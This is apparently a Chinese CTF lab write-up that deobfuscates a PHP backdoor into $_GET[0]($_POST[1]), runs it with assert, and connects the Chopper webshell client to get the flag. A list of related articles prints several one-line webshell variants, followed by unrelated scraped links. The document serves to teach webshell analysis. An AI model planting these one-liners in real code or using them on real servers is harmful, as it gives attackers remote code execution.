墨者学院靶场之PHP代码分析溯源(第1题)
申请靶场环境后

点开题目

一段奇怪的PHP代码
因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是)

复制进去以";"来排个格式
运行下,报错。
看看源码,"$_" "$__" "$___" 这三个是变量名,我们用echo输出下内容

连在一起了,但是可以确定
$_ => 1
$__ => _GET
$___ => _POST
然后观察最后一行代码,把我们变量给用值替换进去
${_GET}[!1](${_POST}[1]);
把多余的{}去掉 [!1]也就是[0],整理下代码是这样的
$_GET[0]($_POST[1]);
和一句话的$_POST[1]传参差不多了,那么$_GET[0]就是我们的函数名了
根据"b.php源码"提示去b.php目录下
用hackbar传GET和POST请求

但是并没有返回phpinfo的信息。
这里又百度了下,学习到了新的知识点assert与eval的区别
我们改成0=assert

phpinfo显现出来了,用菜刀连接下

将key提交上去,正确。
墨者学院靶场之PHP代码分析溯源(第1题)的更多相关文章
- WebShell代码分析溯源(第1题)墨者学院
一.访问链接 二.下载系统源码后直接放到D盾里扫描,扫到后门文件 三.查看该木马文件 <?php error_reporting(0); $_GET['POST']($_POST['GET']) ...
- WebShell代码分析溯源(第1题)
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...
- WebShell代码分析溯源(一)
WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...
- WebShell代码分析溯源(十一)
WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...
- WebShell代码分析溯源(十)
WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...
- WebShell代码分析溯源(九)
WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...
- WebShell代码分析溯源(八)
WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...
- WebShell代码分析溯源(七)
WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...
- WebShell代码分析溯源(六)
WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...
随机推荐
- sql查询结果存入DataTable,然后从DataTable取数据
public static DataTable SqlConnectionInformation() { string connstr = ConfigurationManager.Connectio ...
- cookie添加删除修改
//cookie添加 document.cookie="username=John Doe"; //添加过期时间 document.cookie="username1=J ...
- bzoj千题计划224:bzoj1023: [SHOI2008]cactus仙人掌图
又写了一遍,发出来做个记录 #include<cstdio> #include<algorithm> #include<iostream> using namesp ...
- ASP.NET MVC学习笔记-----Filter(2)
接上篇ASP.NET MVC学习笔记-----Filter(1) Action Filter Action Filter可以基于任何目的使用,它需要实现IActionFilter接口: public ...
- 总有一些实用javascript的元素被人遗忘在角落-slice
slice() 方法可从已有的数组中返回选定的元素. 好吧,我承认我竟然把它忘了! 这次我在回顾一下它 语法 arrayObject.slice(start,end) 数组.slice(起始,结束) ...
- phpStorm 8.0.3 设置
phpstorm 8 license key Learn Programming===== LICENSE BEGIN =====63758-1204201000000Ryqh0NCC73lpRm!X ...
- 20155233 2016-2017-2 《Java程序设计》第5周学习总结
20155233 2016-2017-2 <Java程序设计>第5周学习总结 学习目标 理解异常架构 牚握try...catch...finally处理异常的方法 会用throw,thro ...
- 第11月第14天 opengl yuv beginners-tutorials
1. Here is some snippets of code from my project 'movie player for iOS'. 1. fragment shader varying ...
- 多源复制遇到CREATE USER FAILED错误
MySQL Multi-Source Replication enables a replication slave to receive transactions from multiple sou ...
- G. (Zero XOR Subset)-less(线性基)
题目链接:http://codeforces.com/contest/1101/problem/G 题目大意:给你n个数,然后让你把这n个数分成尽可能多的集合,要求,每个集合的值看做这个集合所有元素的 ...